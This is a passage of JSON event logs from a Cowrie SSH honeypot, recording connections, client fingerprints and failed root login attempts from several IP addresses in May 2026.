AAAAB3NzaC1yc2EAAAADAQABAAACAQCfnZKX8vvjtKuIacmzMLPHxboNO0XzwHDdYdo94muyjdkZTx9GgTjDMOjLrJ8+YxTazsEzVPLqNKSD+WF+l7jfkgxJSyjD+ad451YiruvvqwCQXnVxCq+CR9JxfIKJhypqtWgiLNYiHaVnH2J3wMv8n/YkB7rI2tGyfop0Za+TqE1Akr6rdVz7Ix8WRHblVdk0y7GG7pCmrbahyDgMDWtx3+fVPjIejA8EyJhhWTROJT4n4SyhVsCo5oiSgocVpmCs5eVhu+2EsQqhC8o1dmmL1vWZVB8lCyWLUw6xHmP4vVp20JP+KsgvRHe3Pay7i3tVsCNJSa5mxH4wejuG0m8s15v+TSWjV+hCAOvtUHX8kcknmlwblP/CYO4s6E/Kkt2ZUCMpMSEuE5GZkG3E3WjgMfngXVmeUbgtjWXDKoUTq1YswiM7aaQyMsZ3y0PgeVWm80++AyOiQb2q3rLn4mDQR7shH9lkG2ikkFcglvd/75tOco3orRsZSHCrOp8lD6kvHR7IG10i1CG0PY/YpqZ98BRu9/OvOwgvRiZ6nFO6n4lxYtrGpQw+7JAjVXymzY0ELNBsQ+HlroASyaeJpLywpNzg0TcMSFnhs/1/Av56pAuYk1ZQTQB06j7U/lUQ0vkbJGrgQkvWW146WgsHgoY97ZV3nt4zRDMtNFis4a4XZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.297702Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:33:5a:ac:eb:59:83:f0:64:d5:65:62:db:f5:c7:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoxnYoLvbYVlNyXXXJjM8TLsH+L5j1Jhlyne3aQaV8/DevfWWyzWLV2JMeV2YJiPpXw5YO/O2lIb/MPUprvEkSt87piOYRFrWp14tP+1eMFaZuVsaQppiYhvguTy1pkg6oTMsYbXY1qScYtY2gr2VSMYnFrGK94uzSwQET/LlnZzPb9OdvJcQ7q7vzmLnJcqVfZS1qc0sRekL2T4KwJYB0opj704fogbgkefNMnxEs/UMJbnMGtSIh4EqZQuABxXOOHMccOrkhzC9M9H8F7UrjpCyqOOizxZJBkiWMMqHAeoisGtNjU07IIk/9vbuYqkRZNYBF3pq0AC1XLMTOEhdxm6Dle70VOnKzzjVAaz9i4Vjr26HCj+npprC97lWeRbuS+qfrQkmD3ZnCQsR7namhJS8PCwF7SiU8ZGw8bCckp81+pbLsbmQ3mm3OWgyweY0WHvtsKPen4J++clT7PPoNNtRYw1pzKTdrGj3FOQJk8q036THeAViDO1D8doRvNMFxGzg8ZxG0DOi/DJYoQL+VW2vLAwSOluehmU2uHDu7hzqR7Rf/3ytY/yO51LY4oua7gv+yYnSef0iV1ezB8Onoq200Frv7P3JNR5TEz8hZKCr0Y3BU34B5YVTwKffJTS3J8r/ybV+j4LpLY0qDGFSfgRpaJ/OWZxpF4SOW/3F8qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:33:5a:ac:eb:59:83:f0:64:d5:65:62:db:f5:c7:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.387180Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:33:5a:ac:eb:59:83:f0:64:d5:65:62:db:f5:c7:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoxnYoLvbYVlNyXXXJjM8TLsH+L5j1Jhlyne3aQaV8/DevfWWyzWLV2JMeV2YJiPpXw5YO/O2lIb/MPUprvEkSt87piOYRFrWp14tP+1eMFaZuVsaQppiYhvguTy1pkg6oTMsYbXY1qScYtY2gr2VSMYnFrGK94uzSwQET/LlnZzPb9OdvJcQ7q7vzmLnJcqVfZS1qc0sRekL2T4KwJYB0opj704fogbgkefNMnxEs/UMJbnMGtSIh4EqZQuABxXOOHMccOrkhzC9M9H8F7UrjpCyqOOizxZJBkiWMMqHAeoisGtNjU07IIk/9vbuYqkRZNYBF3pq0AC1XLMTOEhdxm6Dle70VOnKzzjVAaz9i4Vjr26HCj+npprC97lWeRbuS+qfrQkmD3ZnCQsR7namhJS8PCwF7SiU8ZGw8bCckp81+pbLsbmQ3mm3OWgyweY0WHvtsKPen4J++clT7PPoNNtRYw1pzKTdrGj3FOQJk8q036THeAViDO1D8doRvNMFxGzg8ZxG0DOi/DJYoQL+VW2vLAwSOluehmU2uHDu7hzqR7Rf/3ytY/yO51LY4oua7gv+yYnSef0iV1ezB8Onoq200Frv7P3JNR5TEz8hZKCr0Y3BU34B5YVTwKffJTS3J8r/ybV+j4LpLY0qDGFSfgRpaJ/OWZxpF4SOW/3F8qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.390986Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:4a:af:89:e9:78:8c:e9:55:8f:a2:83:2d:90:f6:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+D7amagwWHezYomsuz8onHzi5wMnNF0B8CATwosBk35Q5Dj1LPg9xXGpd7n//dqqMgFykaUxp6LZlmwrnZzZ+Giqs9jLgFvm1StsQfOTgohYYkHWYy5XMx9hOzY3rRUd0vRiazP4yV4twJeapM7ZiGzBf/Evkq02Ytt4/KyK8AeC3Wv1LQvCka1sXUjqTTbWFWUCHZP4K1mGcmQfwNmdKGp8QK0pfAV6JwBUgeOHsz30wAjK3spoptvGflyewilBjXqVGsloYwJnwL0b51UGJFPT4PeR4SbJC7NbXWEtVHkXvqNkBkKzWkaeaYoUum7PYUeZdomgM/ulfP5/T4VBl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:4a:af:89:e9:78:8c:e9:55:8f:a2:83:2d:90:f6:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.480386Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:4a:af:89:e9:78:8c:e9:55:8f:a2:83:2d:90:f6:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+D7amagwWHezYomsuz8onHzi5wMnNF0B8CATwosBk35Q5Dj1LPg9xXGpd7n//dqqMgFykaUxp6LZlmwrnZzZ+Giqs9jLgFvm1StsQfOTgohYYkHWYy5XMx9hOzY3rRUd0vRiazP4yV4twJeapM7ZiGzBf/Evkq02Ytt4/KyK8AeC3Wv1LQvCka1sXUjqTTbWFWUCHZP4K1mGcmQfwNmdKGp8QK0pfAV6JwBUgeOHsz30wAjK3spoptvGflyewilBjXqVGsloYwJnwL0b51UGJFPT4PeR4SbJC7NbXWEtVHkXvqNkBkKzWkaeaYoUum7PYUeZdomgM/ulfP5/T4VBl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.483892Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:19.575172Z","src_ip":"45.142.3.73","session":"6a13b0bea447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.152.35.112","src_port":58671,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cabb13c952a","protocol":"ssh","message":"New connection: 193.152.35.112:58671 (159.203.135.109:22) [session: 4cabb13c952a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:44.983261Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:45.039160Z","src_ip":"193.152.35.112","session":"4cabb13c952a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.152.35.112","src_port":59235,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b2978d9be4b","protocol":"ssh","message":"New connection: 193.152.35.112:59235 (159.203.135.109:22) [session: 3b2978d9be4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:52.211097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:52.299196Z","src_ip":"193.152.35.112","session":"3b2978d9be4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:52.437063Z","src_ip":"193.152.35.112","session":"3b2978d9be4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:55.334056Z","src_ip":"193.152.35.112","session":"3b2978d9be4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:56.513242Z","src_ip":"193.152.35.112","session":"3b2978d9be4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.152.35.112","src_port":35627,"dst_ip":"159.203.135.109","dst_port":22,"session":"a456095a6b85","protocol":"ssh","message":"New connection: 193.152.35.112:35627 (159.203.135.109:22) [session: a456095a6b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:57.679122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:57.814863Z","src_ip":"193.152.35.112","session":"a456095a6b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:57.871323Z","src_ip":"193.152.35.112","session":"a456095a6b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.77.9.130","src_port":44158,"dst_ip":"10.17.0.5","dst_port":22,"session":"cde2d22be616","protocol":"ssh","message":"New connection: 204.77.9.130:44158 (10.17.0.5:22) [session: cde2d22be616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.441010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.444968Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.510233Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:2a:d6:58:32:ae:06:4e:d8:bd:50:cb:b2:b0:d9:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCZrAGMgNtE/72wdDO3MHY89VAK6gNM/cGtY1oa8KOW7VtEz/6/fDWwwWRhEpsJ0subFbu6cZ6lEQWqlMcVGnPMVdWJIoK0QTVvgK7fGWsgTbKp8rUzAq4a1QOrbMPtDbWMWaO0D59c8CTQFGkt+Rb8eVLf/zJzFcFi9JoR94i1CHxfqFo8uDvyIIthJeCxIPjp57iFdvrCm0rv5CIFTVHn0/1QnFeBBZP+0ch8OXpM0Ql9MbZfDY0oGtN+/9YSIv9jMDcN34TwVB4mLZid9svuyCfOyao8MQknP68IViVfh0AObx3ivUCFbfEFcoF8N1eW5aXNWlwVQBQzEa4c527","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:2a:d6:58:32:ae:06:4e:d8:bd:50:cb:b2:b0:d9:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.823313Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:2a:d6:58:32:ae:06:4e:d8:bd:50:cb:b2:b0:d9:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCZrAGMgNtE/72wdDO3MHY89VAK6gNM/cGtY1oa8KOW7VtEz/6/fDWwwWRhEpsJ0subFbu6cZ6lEQWqlMcVGnPMVdWJIoK0QTVvgK7fGWsgTbKp8rUzAq4a1QOrbMPtDbWMWaO0D59c8CTQFGkt+Rb8eVLf/zJzFcFi9JoR94i1CHxfqFo8uDvyIIthJeCxIPjp57iFdvrCm0rv5CIFTVHn0/1QnFeBBZP+0ch8OXpM0Ql9MbZfDY0oGtN+/9YSIv9jMDcN34TwVB4mLZid9svuyCfOyao8MQknP68IViVfh0AObx3ivUCFbfEFcoF8N1eW5aXNWlwVQBQzEa4c527","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.826864Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:ce:be:b1:8a:d6:9e:e9:6d:f2:08:ce:8c:df:fc:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAspPGcoAXWDLRwmEuwq0FbrwNX8E5Ju3u1IAZFZA+nI6l63ux/cvO8sc5WF2rYl3I/WYZLJQ2GtEpTHc8e/xXHQpUN5QGX5J0RnukjO1DAfIJW0F5YK/ALW9/HjlT23CQPnj26IQjdtrS5kKW8i4qhGZu9loVeMQPjitNlbnsCY7NMl1OR1LL+SX+qzirWT6ocwKtLwjRjkfA/4lbGVzJGQTyyDBhI2UJluoQKEYIk+Jju5iSxvvO2EWf+jl8kDryyZMPYeivstqYlcJ9Oj8VXG6HKq/BNp3NGy8Sj519e/UD6jHnBO7SZO1G8mifAeBnA+6p0qMr4NE7g0HAk7PPow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:ce:be:b1:8a:d6:9e:e9:6d:f2:08:ce:8c:df:fc:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.893825Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:ce:be:b1:8a:d6:9e:e9:6d:f2:08:ce:8c:df:fc:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAspPGcoAXWDLRwmEuwq0FbrwNX8E5Ju3u1IAZFZA+nI6l63ux/cvO8sc5WF2rYl3I/WYZLJQ2GtEpTHc8e/xXHQpUN5QGX5J0RnukjO1DAfIJW0F5YK/ALW9/HjlT23CQPnj26IQjdtrS5kKW8i4qhGZu9loVeMQPjitNlbnsCY7NMl1OR1LL+SX+qzirWT6ocwKtLwjRjkfA/4lbGVzJGQTyyDBhI2UJluoQKEYIk+Jju5iSxvvO2EWf+jl8kDryyZMPYeivstqYlcJ9Oj8VXG6HKq/BNp3NGy8Sj519e/UD6jHnBO7SZO1G8mifAeBnA+6p0qMr4NE7g0HAk7PPow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.897400Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:e6:53:ee:61:f7:97:ee:32:5b:b2:ac:5c:b0:ee:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAobRvzrjhh4aSil3/NNmLLO8WTWb1igZqCLVsgaSw8HPymQKgifZyzJ6K9TSJMTuHPFjV0l0hwBCfe4ygcdMYUgX9zzkQSp+f7Fy/7YKuHN0v7IUj7hy/CB2QIm80Xl1XPjLl75zMgCcUsjN6LHcqDzasd5WsrzNVWFPcFIH3F8zPwpy8SzDW+lMyzNL7zKlFGyBJRrjLD/fkYWBBej6dY9PxJXLpaoEyrgMzeX2y5EIowvMQmDvTXWRxToRQXdwUCaYfU/LoyWK3pBbsON6pEw+Ht+SG3bCjiW8/Ar26bvxpCgO8Lob4zstBmBayMQCVxANs2y/y9AoflnSO8nFVNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:e6:53:ee:61:f7:97:ee:32:5b:b2:ac:5c:b0:ee:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.964544Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:e6:53:ee:61:f7:97:ee:32:5b:b2:ac:5c:b0:ee:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAobRvzrjhh4aSil3/NNmLLO8WTWb1igZqCLVsgaSw8HPymQKgifZyzJ6K9TSJMTuHPFjV0l0hwBCfe4ygcdMYUgX9zzkQSp+f7Fy/7YKuHN0v7IUj7hy/CB2QIm80Xl1XPjLl75zMgCcUsjN6LHcqDzasd5WsrzNVWFPcFIH3F8zPwpy8SzDW+lMyzNL7zKlFGyBJRrjLD/fkYWBBej6dY9PxJXLpaoEyrgMzeX2y5EIowvMQmDvTXWRxToRQXdwUCaYfU/LoyWK3pBbsON6pEw+Ht+SG3bCjiW8/Ar26bvxpCgO8Lob4zstBmBayMQCVxANs2y/y9AoflnSO8nFVNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:58.968127Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:54:a5:6d:17:2a:83:de:19:35:f2:1a:7c:ad:2b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1Nc39LHzjaKVeyeiAQN8RvnaZ/q1sFrsPNSwiowBUl+PHTUZvTZulpYvUxHfGarETAWqOvq47atnbOI3zLwg528TCjOVwjVwm6J3kup31eg/NW4EiWPYZj5xmPBQ4zoOlNhrpNSfCfuya6fXLk+Pp346KCVn6eXAqbBeXXGi0sD0BIWOOuDapqRG0NEVBsLJ2Io6pipI9tPxGheoorZ5fGjIJ2kwLnk1Zgp7x9nEh/cCuOrRUM5oIYCvy3AbCWsOQ/xeWGbvq8FMAHqq/DHHs8PXa4Te30T2Xpu053xoLnqH7zyDDo65fl9+vAiSaXZzIWiw8+FboNzCpjUVzNRlqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:54:a5:6d:17:2a:83:de:19:35:f2:1a:7c:ad:2b:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:59.110531Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:54:a5:6d:17:2a:83:de:19:35:f2:1a:7c:ad:2b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1Nc39LHzjaKVeyeiAQN8RvnaZ/q1sFrsPNSwiowBUl+PHTUZvTZulpYvUxHfGarETAWqOvq47atnbOI3zLwg528TCjOVwjVwm6J3kup31eg/NW4EiWPYZj5xmPBQ4zoOlNhrpNSfCfuya6fXLk+Pp346KCVn6eXAqbBeXXGi0sD0BIWOOuDapqRG0NEVBsLJ2Io6pipI9tPxGheoorZ5fGjIJ2kwLnk1Zgp7x9nEh/cCuOrRUM5oIYCvy3AbCWsOQ/xeWGbvq8FMAHqq/DHHs8PXa4Te30T2Xpu053xoLnqH7zyDDo65fl9+vAiSaXZzIWiw8+FboNzCpjUVzNRlqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:59.114123Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:01:84:bd:66:4c:e9:a5:99:88:38:7e:a4:20:c7:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8KrewHwxaGvaE7juqZM7RjPoag7zwOkTi7WHyFMtPYGLxibDkpc6kvLRUpmFKxxpZ+Ckr62gvnTY7wO+Tv1iZiyard8+X0b1PL0h+MYkISEbFl7pZ9Rc9uSy2e/t8xE/9HQznE1XbMRxxinKgBShBoey4BpQQRDh9jwCs5KyySq4HX11t0JqJL7X/nlt95cmxO6okSw3vTkD58OAqSaB67jA8mYYmIT+ATBZoI2RPTtbtfthMOY2CLAZRDZb4hQASPhRAyJUkvZHsOfl7Ke7hX62EdXFflxtIW0z/1aLfAvVKeC985Vgqif8Nu+7C+vrCl1/8CAqNVCcRreHMYvZKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 